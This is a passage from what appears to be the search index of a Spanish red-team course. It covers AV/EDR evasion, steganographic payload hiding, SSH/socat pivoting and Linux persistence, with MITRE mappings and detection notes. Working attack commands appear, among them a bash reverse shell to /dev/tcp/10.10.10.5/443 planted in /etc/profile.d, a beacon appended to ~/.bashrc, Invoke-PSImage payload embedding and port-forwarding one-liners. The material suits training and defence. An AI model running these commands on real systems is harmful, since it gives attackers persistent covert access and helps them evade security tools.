R[\"→ ejecución sin alerta…\\npero cada capa deja una traza nueva (detección)\"]Cómo mira un AV/EDR No se puede evadir lo que no se entiende, y la estructura de la evasión es un reflejo exacto de la estructura de la detección. Un AV moderno se compone de varios motores que corren en kernel y en user-land: el file engine —el más maduro— escanea archivos al vuelo (on-access, vía un mini-filter driver) y en barridos programados; el memory engine busca firmas binarias y llamadas a la API sospechosas en la RAM; el network engine bloquea tráfico de C2 conocido; un disassembler traduce el binario a ensamblador para revertir packers y cifrados; un emulator/sandbox ejecuta la muestra aislada para observar qué hace; y un ML engine en la nube evalúa metadata para detectar amenazas desconocidas.\nSobre esos motores operan cuatro métodos de detección, y conviene verlos como una escalera de madurez porque la evasión los sube en el mismo orden:\nFirma. El hash del archivo o una secuencia concreta de bytes o strings. Es el método más rápido y el más frágil: cambiar un solo bit cambia el hash entero. El módulo de OffSec lo demuestra byte a byte —basta convertir una c en C dentro de una cadena para que el SHA-256 sea otro—. Esa fragilidad es, literalmente, la primera puerta de la evasión. Heurística. Patrones y secuencias de llamadas en el código desensamblado —no el hash exacto, sino «esto se parece a un dropper»—. Sobrevive a cambios de hash pero se puede confundir mutando la estructura del código. Comportamiento. Ejecutar la muestra en el emulador y observar sus acciones: si asigna memoria ejecutable, inyecta en otro proceso o abre un socket, se marca. Es mucho más caro de evadir porque mira lo que el código hace, no cómo se ve. Aprendizaje automático (ML) y AMSI. El modelo en la nube evalúa metadata; AMSI (Antimalware Scan Interface) inspecciona scripts y contenido ya desofuscado en el momento de ejecutarse. Es la capa que la obfuscación superficial no toca. Toda la sección de evasión que sigue es un ascenso por esta escalera. La obfuscación on-disk derrota la firma; la inyección in-memory esquiva el file engine entero; los LOLBAS burlan la vigilancia de proceso; y los bypass de AMSI/ETW y el unhooking de EDR atacan directamente el comportamiento y la introspección de memoria. Cada peldaño resuelve la capa anterior y choca con la siguiente. Evasión on-disk: derrotar la firma El primer peldaño es modificar el archivo en el disco lo suficiente para que ninguna firma existente lo cubra. La familia clásica: packers (comprimen y ofuscan el ejecutable —UPX fue el arquetipo, hoy insuficiente por sí solo—), obfuscators (mutan el código o insertan dead code para romper la heurística), crypters (cifran el cuerpo del payload y dejan en disco solo un stub de descifrado que lo reconstruye en RAM), y protectors comerciales (Enigma y similares). Todos comparten la misma lógica: cambiar la representación estática sin cambiar la función.\nA mano, dos técnicas baratas desarman muchas firmas. Cifrar los strings —un simple ROT sobre las cadenas, descifradas en tiempo de ejecución— borra las constantes de texto que el AV firma. Y llamar a las funciones de la API por puntero: en vez de importar SetWindowsHookEx de User32.dll —lo que la deja visible en la tabla de imports del PE—, se resuelve en tiempo de ejecución con GetProcAddress, de modo que la biblioteca desaparece de los imports y con ella la pista heurística. El ejemplo del keylogger de The Hacker Playbook 3 ilustra lo frágil que es la detección estática: pasa de 11/66 a 10/66 con esas técnicas, y a 0/66 solo por recompilar a 64 bits, porque muchas firmas se escribieron contra la variante de 32 bits.\nDe ahí la regla de oro del capítulo ofensivo: si la herramienta es pública, el vendor ya la reverseó y la firmó. La evasión robusta no ofusca la herramienta pública, sino que la recompila desde el fuente para cambiar el patrón que el AV conoce. El caso extremo es recompilar Meterpreter: compilar metsrv con Clang (cambia el patrón de código generado), borrar del binario los strings delatores (Mimikatz, ReflectiveLoader), meter nop sleds aleatorios en el shellcode Ruby, y —el corazón— reemplazar el Stage0 de msfvenom (que inserta el payload en plantillas de ejecutable predecibles y detectables) por un Stage0 propio: código position- independent, sin imports, que usa wininet para el HTTPS y refleja metsrv.dll en memoria sin tocar disco. Ese Stage0 casero evade Windows Defender, mientras el msfvenom crudo se detecta al instante.\nNo probar los payloads en VirusTotal durante un engagement: VT comparte la muestra con todos los vendors y publica su hash, quemando el artefacto en horas. La alternativa es AntiScan.Me (no comparte) o —mejor— un laboratorio que replique el AV del target con el envío de muestras deshabilitado. La disciplina de no quemar la propia munición es parte del oficio. Evasión in-memory: esquivar el disco entero El file engine es el motor más maduro del AV, y evadirlo modificando el archivo es una carrera perdida contra firmas que se actualizan a diario. El segundo peldaño elimina el problema de raíz: no escribir nunca a disco. Las técnicas in-memory alojan y ejecutan el payload directamente en la RAM de un proceso, reduciendo la superficie a lo que el memory engine —más caro y menos preciso— puede ver.\nRemote process injection. La secuencia canónica: OpenProcess sobre una víctima legítima → VirtualAllocEx para reservar memoria en ella → WriteProcessMemory para copiar el shellcode → CreateRemoteThread para ejecutarlo. El código malicioso corre dentro de un proceso de confianza. Reflective DLL injection. Cargar una DLL desde la memoria sin pasar por LoadLibrary —la DLL","section":"P3 · Explotación y Red Team","summary":"La evasión del payload —complementaria a la del canal de 3.10—: cómo mira un AV/EDR (motores, y los cuatro métodos de detección firma→heurística→comportamiento→ML/AMSI), y cómo cada técnica ataca una capa concreta. La escalera de evasión que va del disco a la memoria a los binarios de confianza: obfuscación on-disk y recompilar la herramienta, inyección in-memory y thread injection, LOLBAS y «PowerShell sin powershell.exe», y la frontera —cegar al vigía con AMSI/ETW bypass, unhooking de EDR e Internal Monologue—; con el mapeo de por qué cada movimiento deja una traza de comportamiento nueva.","tags":["evasion","payload-dev","post-explotacion","amsi","lolbas","deteccion"],"title":"3.11 · Evasión de AV/EDR","url":"/speculum/p3-red-team/3-11-evasion-av-edr/"},{"content":"Panorama Los dos capítulos anteriores describieron dos caras de la evasión. La evasión del canal (3.10) disimula la forma de la conversación del C2 para que se parezca a tráfico normal; la evasión del payload (3.11) disimula la huella del código para que el AV/EDR no lo reconozca en el disco ni en la memoria. Este capítulo cubre la tercera: esconder lo malicioso dentro de un portador que en sí mismo es legítimo. Donde la evasión del canal hace que el tráfico parezca normal y la del payload hace que el binario parezca benigno, la esteganografía hace que la cosa maliciosa viva dentro de algo que efectivamente es normal —una imagen real, una página HTML que renderiza igual, un campo no usado de un paquete, un evento real de un calendario compartido—.\nConviene distinguir dos conceptos hermanos. La esteganografía es el arte de ocultar la existencia del mensaje —a diferencia de la criptografía, que oculta su contenido pero no que hay un contenido—: una imagen con datos escondidos en sus píxeles no parece llevar nada. Un canal encubierto (covert channel), formalizado por Butler Lampson en 1973, es un canal que viola una política de seguridad transportando información por medios que no forman parte del diseño del sistema —campos reservados o resignificados de un protocolo—. Los dos persiguen el mismo fin defensivo-evasivo: pasar bajo la inspección de contenido del perímetro, el AV estático y el DLP (Data Loss Prevention).\nLa tesis que ordena el capítulo hereda la de 3.11 y la traslada un plano más allá: la esteganografía y los canales encubiertos ganan contra la inspección de contenido, no contra la telemetría de ejecución ni el análisis estadístico. Lo que viaja es una imagen legítima, una página que dice «servidor caído», un evento de Google Calendar —y el escáner de red o el AV estático no ven nada anómalo porque no lo hay en la superficie—. Pero la ocultación solo protege la fase estática: en disco y en tránsito. En el momento en que el payload se recupera de los píxeles y se ejecuta, la defensa conductual recupera toda su oportunidad. Ocultar el qué y el dónde de un artefacto o una comunicación no oculta que, al final, ese código tiene que correr. Esa es la grieta que la sección de detección explota, y la razón de que el estegoanálisis sea, sobre todo, un problema de triaje estático apoyado en una red de seguridad conductual.\nflowchart LR M[\"Payload / comando / datos\\n(2ª etapa · C2 · exfil)\"] --\u003e C[\"Portador legítimo\\n(imagen · audio · HTML · campo de protocolo · SaaS)\"] C --\u003e|\"cruza inspección de contenido\\n(perímetro · AV estático · DLP)\"| V[\"Víctima / operador\\nrecupera lo oculto\"] V --\u003e X[\"…y el payload EJECUTA\\n(fin de la fase estática)\"] X -.-\u003e|\"telemetría de ejecución\"| D[\"Detección conductual\\n(3.11 · esta § defensa)\"]Todo sistema estego se juzga por tres propiedades en tensión permanente. La capacidad —cuánta información cabe—, la invisibilidad —qué probabilidad hay de que un estegoanalista lo detecte— y la robustez —cuántas alteraciones del portador soporta el mensaje antes de perderse—. Subir una no es gratis: más capacidad suele significar menos invisibilidad. Y una consecuencia operativa central: la robustez la impone el canal de transmisión, no la técnica. Una herramienta LSB clásica se destruye al subir la imagen a Twitter o Facebook, porque esas plataformas recomprimen y reescalan; una técnica sobre coeficientes DCT (como F5) sobrevive a esa recompresión. La elección de técnica la decide, antes que nada, por dónde va a pasar el portador. En términos de MITRE ATT\u0026CK el capítulo cubre T1001.002 (Data Obfuscation: Steganography), T1027.003 (Obfuscated Files: Steganography), T1102 (Web Service como C2), T1140 (Deobfuscate/Decode) y, para la exfiltración, T1567 (Exfiltration Over Web Service).\nOcultar en el fichero: LSB, dominio DCT y EoF La cara más común del estegomalware es traer la segunda etapa —un script o una DLL— escondida en un fichero de aspecto inocente que cruza el AV estático. Las técnicas se ordenan por dónde meten los bits.\nLSB (Least Significant Bit). Una imagen es una matriz de píxeles; en RGB de 24 bits, cada píxel son tres octetos (rojo, verde, azul, 0-255). La técnica sustituye el bit menos significativo de cada octeto por un bit del mensaje, sin cambio visual perceptible. Cómo se eligen los píxeles define tres variantes: secuencial —en orden desde una posición fija—, que a su vez se implementa como LSB-replacement (voltear el bit) o LSB-matching (±k: sumar o restar 1 al valor, lo que imita el ruido natural de la imagen y es demostradamente menos detectable); pseudoaleatoria —un PRNG con semilla derivada de una clave elige los píxeles, impidiendo predecir el orden—; y por bit de paridad de región —se parte la imagen en regiones y se oculta un bit por región vía Σ LSB(píxel) mod 2, tocando un solo píxel solo si la paridad no cuadra—. El LSB directo está cuestionado por dos supuestos falsos: se creyó que los bits menos significativos eran aleatorios (dejan anomalías estadísticas) y que el ojo no percibe cambios mínimos (sí los percibe en zonas uniformes y en los bordes). Sobrevive por su gran capacidad y su facilidad de implementación. En el estegomalware real, cada familia se distingue por su receta de codificación: OceanLotus toma 3 bits del rojo, 3 del verde y 2 del azul; APT29 usa 2/3/3 sobre PNG de Dropbox y descifra con AES; Worok codifica un nibble por píxel. El mismo LSB aplica a otros medios: Turla ocultó el cryptominer XMRig en las muestras de un fichero de audio WAV, y MontysThree usó BMP.\nDominio transformado (DCT). Frente al dominio temporal —sustitución directa sobre píxeles—, las técnicas de dominio transformado operan sobre los coeficientes de una transformada matemática de la imagen (la DCT del JPEG), y son más robustas y difíciles de detectar. La referencia es F5 (Andreas Westfeld): en vez de sobrescribir el LSB, decrementa el valor absoluto de coeficientes DCT elegidos pseudoaleatoriamente —lo que no rompe la forma del histograma que delataría a Jsteg u Outguess— y usa matrix encoding para minimizar los cambios. El matrix encoding 2:3 oculta 2 bits en 3 coeficientes calculando a1⊕a3 y a2⊕a3, de modo que modifica un solo bit el 75 % de las veces (en general, uno de cada 2^k-1 para ocultar k bits). Su valor operativo: F5 sobrevive a la recompresión de las redes sociales, y por eso aparece en malware, C2 y ejercicios. El estado del arte público son las técnicas adaptativas (HUGO, WOW), que ocultan solo en ejes y texturas —difíciles de modelar estadísticamente— guiadas por funciones de distorsión.\nPara payloads pequeños de red team, la herramienta directa es Invoke-PSImage, que oculta un script PowerShell en un PNG usando los 4 bits bajos de 2 de los 3 canales de cada píxel; el resultado es siempre PNG lossless porque los datos viven en los colores y una compresión con pérdida los borraría. Es cómoda pero su firma es conocida —la usó tal cual el APT Powload—, lo que la vuelve un IoC.\n$ # Estego \"de calle\" robusta a recompresión de redes sociales (F5 sobre DCT) f5stego -e -p \u003cclave\u003e gato.jpg mensaje.txt gato_stego.jpg # PowerShell dentro de un PNG (4 LSB de 2 canales por píxel) — firma CONOCIDA Import-Module .\\Invoke-PSImage.ps1 Invoke-PSImage -Script .\\payload.ps1 -Out .\\imagen.png -Image .\\portada.jpg ⧉ copiar EoF (End of File). La técnica más antigua y la más detectable, y aun así muy usada. Consiste en anexar datos tras el marcador de fin de la estructura del fichero (FFD9 en JPEG, IEND en PNG, o las cabeceras de un RAR), aprovechando que los formatos no comprueban la longitud total: leen sus estructuras y al terminar dejan de leer. Permite ocultar cantidades ilimitadas —Scarcruft escondió el backdoor ROKRAT así, MyKings anexó una herramienta de fuerza bruta SQL empaquetada con VMProtect al final de un JPEG de Taylor Swift—, pero el peso delata: la variante de Darktrack usaba una imagen de 512×512 que ocupaba 1,09 MB, un tamaño imposible que revela datos tras el IEND. Una variante estructural más fina es","section":"P3 · Explotación y Red Team","summary":"La tercera cara de la evasión —tras el canal de 3.10 y el payload de 3.11—: esconder lo malicioso DENTRO de un portador legítimo. Ocultar en el fichero (LSB y sus variantes, dominio DCT con F5, EoF, el truco de cabecera RAR, polyglots y Stegosploit), ocultar la comunicación (el patrón APT imagen-en-servicio-legítimo→PowerShell, los canales encubiertos de Lampson sobre HTTP/DNS/protocolo, y los portadores nuevos —email de LightNeuron, HTML de Platinum, Google Calendar de APT41—), y la capa de cifrado y targeting que la envuelve. Con el estegoanálisis del defensor —EoF, firmas de malas implementaciones, Chi-Square/RS— y la regla de oro: el estego solo protege la fase estática.","tags":["esteganografia","canales-encubiertos","evasion","exfiltracion","c2-framework","deteccion"],"title":"3.12 · Esteganografía y canales encubiertos","url":"/speculum/p3-red-team/3-12-estego-canales/"},{"content":"Panorama Un foothold rara vez cae donde interesa. El compromiso inicial suele aterrizar en un host expuesto —un servidor web en la DMZ, una aplicación de cara a internet— y el objetivo vive en un segmento interno que no rutea hacia el atacante: bases de datos, controladores de dominio, estaciones de administración. El pivoting es el arte de tomar prestada la posición de red del host comprometido para alcanzar lo que no se puede rutear directamente, usándolo como pivote (pivot) que reenvía o encapsula el tráfico. Es el sustrato operativo del movimiento lateral: la tubería por la que después viajan el Pass-the-Hash y el Pass-the-Ticket (4.8) y por la que un C2 (3.10) llega a un host sin salida propia. La segmentación de red existe precisamente para impedir esto —todo este capítulo presupone que las redes no son planas—, y por eso el pivoting es una escalada continua contra controles cada vez más finos.\nConviene separar dos primitivas. El port forwarding redirige los paquetes de un socket a otro —un puerto local del pivote reenvía a un host:puerto interno—. El tunneling va más allá: encapsula un flujo dentro de otro protocolo, típicamente dentro de SSH, de modo que el transporte cifra y disfraza lo que lleva. La diferencia importa porque determina contra qué control sirve cada técnica.\nLa tesis que ordena el capítulo es que la pregunta que gobierna el árbol de técnicas se endurece por capas. Al principio es «¿puedo alcanzarlo?» —un problema de rutas y de firewall por IP y puerto—, y la responde la dirección del tráfico: dónde deja el firewall que escuche el puerto. Cuando el perímetro sube a inspección de contenido —Deep Packet Inspection, DPI—, la pregunta se vuelve «¿con qué forma?», y ya no basta iniciar la conexión desde adentro: el túnel tiene que parecerse al protocolo permitido. Cada capa de control estrecha la forma que el túnel puede adoptar, y el atacante escala el disfraz para igualarla —de un forward SSH a un túnel HTTP a una resolución DNS—. En términos de MITRE ATT\u0026CK el capítulo cubre T1090 (Proxy), T1572 (Protocol Tunneling), T1071.001 y T1071.004 (Application Layer Protocol: Web y DNS) y T1048 (Exfiltration Over Alternative Protocol).\nflowchart TD Q{\"¿Qué control hay en el camino?\"} --\u003e|\"firewall por IP/puerto,\\nentrada permitida\"| L[\"SSH -L / -D\\n(escucha en el pivote)\"] Q --\u003e|\"firewall por IP/puerto,\\nsolo salida\"| R[\"SSH -R / remote dynamic\\n(escucha en el atacante)\"] Q --\u003e|\"DPI mata SSH,\\ndeja HTTP\"| CH[\"Chisel\\n(túnel sobre HTTP/WebSocket)\"] Q --\u003e|\"ni HTTP sale,\\nsolo resuelve DNS\"| DN[\"dnscat2\\n(túnel sobre DNS)\"] L \u0026 R \u0026 CH \u0026 DN --\u003e S[\"SOCKS + Proxychains\\n= un puerto → toda la subred\"] S --\u003e N[\"→ enum del nuevo segmento\\n→ movimiento lateral (4.8)\"]El pivote y el ciclo incremental El pivoting es mecánicamente repetible: enumerar → afianzar → reenviar, capa tras capa. Tras comprometer un host —en el laboratorio de referencia, un servidor Confluence por la ejecución remota OGNL de CVE-2022-26134— se enumeran sus interfaces y rutas (ip addr, ip route) para descubrir una segunda subred a la que ese host sí llega; se barre con un bucle simple cuando no hay escáner instalado (for i in $(seq 1 254); do nc -zv -w 1 10.4.50.$i 445; done); y se monta el reenvío hacia el nuevo objetivo. Cada host descubierto expande el diagrama, y los reenvíos se componen —un Socat sobre un forward SSH sobre un Netsh—, lo que vuelve la topología difícil de seguir para el defensor pero trivial de encadenar para el atacante.\nLa forma más simple del reenvío es Socat en un pivote Linux: abre un puerto local y manda todo a un socket interno. Con eso, Kali alcanza un PostgreSQL que no ruteaba, como si el puerto viviera en el propio pivote.\n$ # Socat en el pivote: escucha en 2345 y reenvía al PostgreSQL interno socat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432 # Desde Kali, como si fuera directo al 5432 interno: psql -h 192.168.50.63 -p 2345 -U postgres ⧉ copiar Si no hay Socat, el mismo efecto se logra con rinetd, con Netcat más un named pipe FIFO, o con iptables y el reenvío de kernel (echo 1 \u003e /proc/sys/net/ipv4/conf/\u003ciface\u003e/forwarding, que exige root). Pero Socat solo cruza el límite; no cifra ni disimula. Para eso está SSH.\nSSH tunneling: la dirección del firewall decide la técnica La observación central del reenvío por firewall es que el tráfico de entrada se filtra mucho más agresivamente que el de salida. Casi ningún perímetro permite conectar a un puerto que uno abra en el pivote, pero casi todos dejan que el pivote inicie una conexión hacia afuera. Esa asimetría reparte las cuatro variantes de SSH.\nLocal (-L). El puerto de escucha vive en el cliente SSH —el pivote— y reenvía a un solo destino. Sirve cuando no hay firewall de entrada que estorbe: ssh -N -L 0.0.0.0:4455:172.16.50.217:445 admin@10.4.50.215 expone el SMB de un tercer host en el puerto 4455 del pivote (-N no abre shell; ss -ntplu confirma la escucha). Dynamic (-D). Abre un proxy SOCKS en el cliente, y ahí está el salto conceptual: el reenvío local o remoto lleva a un destino por conexión, tedioso para escanear; el SOCKS convierte «un puerto = un destino» en «un puerto = toda la red» que el servidor SSH pueda rutear. El precio es que la herramienta debe hablar SOCKS; como smbclient y Nmap no lo hacen, se antepone Proxychains, que engancha las funciones de red de libc por LD_PRELOAD —un truco que solo funciona sobre binarios enlazados dinámicamente—. Sobre SOCKS, Nmap va siempre en modo connect (-sT, nunca -sS). Remote (-R). El puerto de escucha vive en el servidor SSH, que aquí es la máquina del atacante. Es la técnica de facto en el mundo real: cuando el firewall bloquea la entrada pero permite la salida, el pivote hace SSH hacia Kali y liga el puerto allí. Se comporta como un reverse shell, pero de reenvío de puertos: la conexión nace desde adentro. ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 kali@192.168.118.4 publica el PostgreSQL interno en el loopback de Kali. Remote dynamic (-R \u003cport\u003e). Combina las dos anteriores: un SOCKS ligado al lado del atacante, iniciado desde adentro (OpenSSH ≥ 7.6). Un solo ssh -N -R 9998 kali@192.168.118.4 y todo el segmento queda accesible por Proxychains apuntando al loopback de Kali. Por encima de las variantes, sshuttle convierte SSH en algo parecido a una VPN, ruteando subredes enteras de forma transparente (sshuttle -r admin@pivote:2222 10.4.50.0/24 172.16.50.0/24), sin -p ni Proxychains, a costa de root en el cliente y Python en el servidor.\nLa ventaja de SSH sobre Socat o Netsh no es solo que cruce el límite: es que se mimetiza con el ruido administrativo. SSH es el protocolo de administración remota por excelencia; su contenido va cifrado y su tráfico no parece anómalo en redes poco monitorizadas. Es el mismo principio de «vivir de lo confiable» de 3.11: las herramientas populares entre administradores rara vez las marca el AV, y esa familiaridad es, en sí misma, evasión. Pivoting en Windows En Windows la elección depende de qué sobreviva en el host comprometido, en tres caminos de sigilo decreciente. Si el ssh.exe nativo está presente (desde Windows 10 1803, en %systemdrive%\\Windows\\System32\\OpenSSH), se hace remote dynamic igual que en Linux: ssh -N -R 9998 kali@192.168.118.4. Si el administrador lo quitó, se sube Plink —el cliente de línea de comandos de PuTTY—, que es covert porque es herramienta legítima de administradores y el AV rara vez la marca, aunque no soporta remote dynamic; un shell sin TTY que no puede aceptar la clave de host se resuelve con cmd.exe /c echo y | plink.exe .... Y si se tiene administrador y consola, Netsh ofrece reenvío nativo sin binarios extra (netsh interface portproxy add v4tov4 ...), a costa de tener que abrir explícitamente el Firewall de Windows (netsh advfirewall firewall add rule ..., porque el puerto sale filtered hasta entonces) y de acordarse de borrar la regla al terminar —un rastro que, si se olvida, queda como evidencia—.\nTunneling a través de DPI Cuando el perímetro no filtra solo por IP y puerto sino ","section":"P3 · Explotación y Red Team","summary":"Atravesar los límites de red desde un host comprometido que hace de pivote. Las dos primitivas (port forwarding vs tunneling) y la pregunta que gobierna todo el árbol —de «¿puedo alcanzarlo?» a «¿qué forma debe tomar el tráfico?»—: la dirección del firewall decide el forward SSH (-L/-D vs -R/remote-dynamic), el SOCKS convierte un puerto en toda la red, y cuando el DPI inspecciona el contenido el túnel se disfraza del protocolo permitido (Chisel sobre HTTP, dnscat2 sobre DNS). Con el pivoting en Windows (ssh.exe/Plink/Netsh) y la detección púrpura del proceso, la regla de firewall y la ráfaga DNS.","tags":["pivoting","tunneling","movimiento-lateral","post-explotacion","evasion","deteccion"],"title":"3.13 · Pivoting y tunneling","url":"/speculum/p3-red-team/3-13-pivoting-tunneling/"},{"content":"Panorama Un acceso conseguido es un acceso perdido en cuanto el proceso muere, la sesión se cierra o la máquina se reinicia. La persistencia —persistence— es el conjunto de técnicas con las que un atacante se asegura de recuperar la ejecución después de esos eventos sin volver a explotar la vulnerabilidad de entrada, que quizá ya fue parcheada o que era ruidosa de repetir. Es el segundo movimiento natural tras la escalada de privilegios (3.9): primero se llega a root o a un usuario útil, luego se planta el mecanismo que devuelve ese acceso mañana. Y es lo que estabiliza el canal de mando: un C2 (3.10) volátil que vive en un proceso se vuelve confiable cuando un disparador de persistencia lo relanza tras cada reinicio.\nLa tesis que ordena el capítulo es que toda persistencia es suscribir código propio a un disparador de ejecución que el sistema operativo ya honra. El atacante casi nunca inventa un mecanismo nuevo; se inserta en uno de los muchos puntos donde Linux ya vuelve a ejecutar algo por sí solo —al iniciar sesión, al arrancar, en un horario, ante un evento de hardware, al autenticar a un usuario—. El sistema tiene decenas de esos disparadores, y basta uno para reengancharse. Esa abundancia es la mala noticia para el defensor; la buena está al final del capítulo.\nLos disparadores forman una escalera gobernada por dos ejes que se mueven juntos: el privilegio que exige plantarlos y el momento en que disparan. Cuanto más abajo y más temprano en el ciclo de vida del sistema actúa un mecanismo —del shell de un usuario, al arranque, a la autenticación, al propio kernel—, más durable es y más difícil de detectar, pero más privilegio cuesta plantarlo y más riesgo de inestabilidad acarrea. Un módulo de kernel mal escrito tumba la máquina con un kernel panic, exactamente como el exploit de kernel era el último recurso en 3.9: cuanto más profundo se opera, más se gana en sigilo y durabilidad y más se arriesga en estabilidad. Sobre esa escalera se organiza todo lo que sigue.\nflowchart TD U[\"Persistencia de USUARIO\\n(sin root · sobrevive como ese usuario)\"] S[\"Persistencia de SISTEMA\\n(root · sobrevive al reinicio · a todos)\"] A[\"Subvertir la AUTENTICACIÓN\\n(PAM · SSH · dispara al loguearse)\"] L[\"Enganchar el USERLAND\\n(LD_PRELOAD · rootkit de biblioteca)\"] K[\"Bajar al KERNEL\\n(LKM / eBPF · se esconde a sí mismo)\"] U --\u003e S --\u003e A --\u003e L --\u003e K K -.-\u003e|\"+ durable · + sigiloso\\n+ privilegio · + riesgo de panic\"| U classDef lvl fill:#1e293b,stroke:#475569,color:#e2e8f0; class U,S,A,L,K lvl;En términos de MITRE ATT\u0026CK el capítulo recorre la táctica TA0003 (Persistence) y sus técnicas en Linux: T1546.004 (Unix Shell Configuration Modification), T1098.004 (SSH Authorized Keys), T1543.002 (Systemd Service), T1053.003 y T1053.006 (Cron y Systemd Timers), T1037.004 (RC Scripts), T1546 (Event Triggered Execution), T1556.003 (Modify Authentication Process: PAM), T1574.006 (Dynamic Linker Hijacking), T1547.006 (Kernel Modules and Extensions), T1014 (Rootkit) y T1505.003 (Web Shell).\nLa primitiva: suscribirse a un disparador Antes de recorrer los mecanismos conviene fijar la primitiva común, porque explica por qué son intercambiables. Todo sistema Linux mantiene una colección de puntos de ejecución automática: rutas de archivos y entradas de configuración que algún componente lee y ejecuta cuando ocurre un evento. El shell lee ~/.bashrc al abrir una sesión interactiva; systemd arranca las unidades habilitadas al bootear; crond ejecuta las líneas del crontab en su horario; sshd consulta ~/.ssh/authorized_keys al autenticar; el enlazador dinámico carga las bibliotecas listadas en /etc/ld.so.preload antes de cualquier binario. Cada uno de esos puntos es un contrato: «cuando pase X, ejecuto lo que esté aquí». Persistir es escribir en ese contrato, sin romperlo, para que además de lo legítimo se ejecute lo propio.\nDe ahí se derivan las tres propiedades que distinguen un mecanismo de otro y que el defensor debe leer al revés:\nPrivilegio requerido. Un punto que pertenece a un usuario (su ~/.bashrc, su crontab, su authorized_keys) se escribe sin root y persiste con la identidad de ese usuario. Un punto de sistema (una unidad de systemd, /etc/crontab, un módulo de PAM) exige root pero persiste para toda la máquina y sobrevive al reinicio. Momento y frecuencia del disparo. Al login, al arranque, en un horario, ante un evento de hardware, en cada autenticación. Cuanto antes y más a menudo dispare, antes se recupera el acceso —pero también más ruido genera. Visibilidad del artefacto. El punto es un archivo o una línea de configuración en disco que sobrevive al reinicio; por definición es enumerable. El rootkit es el intento de romper esta propiedad ocultando el artefacto a las herramientas que lo listarían —y por eso es el escalón más caro y más frágil—. Persistencia de usuario (sin root) El escalón más barato no necesita privilegios: basta escribir en los archivos que el propio usuario controla. Es la persistencia que sobrevive a un foothold de bajo privilegio y que conviene plantar de inmediato, antes de intentar escalar, como red de seguridad.\nLos archivos de configuración del shell. Un shell de login lee, según la variante, ~/.bash_profile, ~/.bash_login o ~/.profile; un shell interactivo no-login lee ~/.bashrc; zsh usa ~/.zshrc. Añadir una línea al final de cualquiera de ellos garantiza ejecución cada vez que el usuario abre una sesión (T1546.004). El sistema ofrece variantes de sistema equivalentes —/etc/profile, los fragmentos de /etc/profile.d/*.sh, /etc/bash.bashrc— que, con root, disparan para todos los usuarios al loguearse.\n$ # Persistencia de usuario: relanzar un beacon en cada sesión interactiva echo 'nohup /tmp/.cache/agent \u003e/dev/null 2\u003e\u00261 \u0026' \u003e\u003e ~/.bashrc # Variante de sistema (requiere root): dispara para todo usuario que loguee echo 'bash -i \u003e\u0026 /dev/tcp/10.10.10.5/443 0\u003e\u00261' \u003e /etc/profile.d/00-update.sh ⧉ copiar El crontab de usuario. Cada usuario puede programar tareas sin root con crontab -e; la definición queda en /var/spool/cron/crontabs/\u003cusuario\u003e (T1053.003). Una entrada @reboot dispara al arrancar, y una línea * * * * * reintenta cada minuto —el mecanismo clásico para que un reverse shell se reabra solo—.\nLa clave SSH autorizada. El vector más limpio y más común es añadir la clave pública del atacante a ~/.ssh/authorized_keys (T1098.004). No lanza nada por sí solo: convierte el acceso en un login legítimo y reutilizable con la propia infraestructura de SSH, sin malware en disco que escanear, y se confunde con la administración normal. Enlaza directamente con el pivoting y tunneling (3.13), donde esa misma clave sostiene los túneles SSH persistentes que atraviesan la red interna. Variantes menos conocidas del mismo archivo elevan el sigilo o el poder: la opción command=\"...\" delante de la clave fuerza un comando al conectar, y el script ~/.ssh/rc se ejecuta en cada login por SSH aunque no haya shell interactivo.\nLa persistencia por clave SSH es preferida por los operadores porque no es un artefacto de malware sino una credencial legítima: sobrevive a reinicios y a rotaciones de contraseña, viaja por el canal cifrado que el host ya permite y se pierde entre los accesos administrativos. Su detección no es de antivirus sino de inventario: comparar el conjunto de claves autorizadas contra una línea base y alertar sobre cualquiera nueva. El systemd --user. En sistemas modernos un usuario puede definir unidades propias en ~/.config/systemd/user/ y habilitarlas sin root; con lingering activado (loginctl enable-linger), esas unidades arrancan al bootear el sistema, no solo al loguearse. Es la versión de usuario del mecanismo que domina la siguiente sección.\nPersistencia de sistema (con root) Con root, la persistencia sube a los disparadores que dispara el sistema entero y que sobreviven al reinicio. En Linux moderno el rey es systemd.\nServicios de systemd. Un archivo .unit en /etc/systemd/system/ describe un servicio; systemctl enable lo engancha a un target de arranque ","section":"P3 · Explotación y Red Team","summary":"Conservar el acceso a un host Linux tras el compromiso: la persistencia como suscripción de código malicioso a un disparador que el sistema ya honra. La escalera por privilegio y por momento de disparo —del rc de usuario y la clave SSH (sin root) a los servicios systemd, el cron de sistema y las tareas por evento (con root), a la subversión de la autenticación (PAM), el enganche del enlazador (LD_PRELOAD) y el rootkit de kernel (LKM/eBPF) que se esconde de las mismas herramientas que lo buscarían—, y la debilidad estructural que la delata: para persistir hay que dejar un artefacto que sobrevive al reinicio y por eso es enumerable.","tags":["persistencia","linux","post-explotacion","rootkit","evasion","deteccion"],"title":"3.14 · Post-explotación y persistencia en Linux","url":"/speculum/p3-red-team/3-14-persistencia-linux/"},{"content":"Panorama El desbordamiento de pila clásico —sobrescribir el return pointer con la dirección de un shellcode inyectado— dejó de funcionar solo hace más de una década. Tres mitigaciones lo cerraron en secuencia: NX/DEP marca la pila como no ejecutable, el stack canary interpone un valor centinela entre el buffer y el return pointer, y ASLR aleatoriza las direcciones de modo que ninguna dirección fija sea confiable. La idea central de este capítulo es que esas mitigaciones no cierran la explotación: la mueven. Cada control obliga a una técnica nueva —NX empuja hacia ret2libc y ROP, el canary hacia el leak o la reparación, ASLR hacia el information disclosure o los valores estáticos— y el trabajo del exploit dev moderno es encadenar esos bypass hasta recuperar el control del flujo.\nEste capítulo extiende la base de 3.6 · Stack overflows y shellcode y de 3.7 · Format strings, ret2libc y ROP con la profundidad que exige el Linux moderno: el internals del linking dinámico que habilita ret2plt y la sobrescritura de la Global Offset Table, el ROP a nivel de mecanismo, las técnicas concretas para derrotar el canary y ASLR, y las diferencias de la explotación de 64 bits. La contracara en Windows —SEH, jmp esp con Mona, patch diffing— se trata en 3.8 · Exploit-dev en Windows.\nflowchart TD A[\"Buffer overflow\\ncontrol del return pointer\"] --\u003e B{\"¿NX / DEP?\"} B --\u003e|\"no\"| S[\"Shellcode en la pila\\n(ver 3.6)\"] B --\u003e|\"sí\"| C[\"ret2libc / ret2plt / ROP\\nno se ejecuta código inyectado\"] C --\u003e D{\"¿Stack canary?\"} D --\u003e|\"terminator\"| E[\"Reparar el canary\\n(valor fijo conocido)\"] D --\u003e|\"random\"| 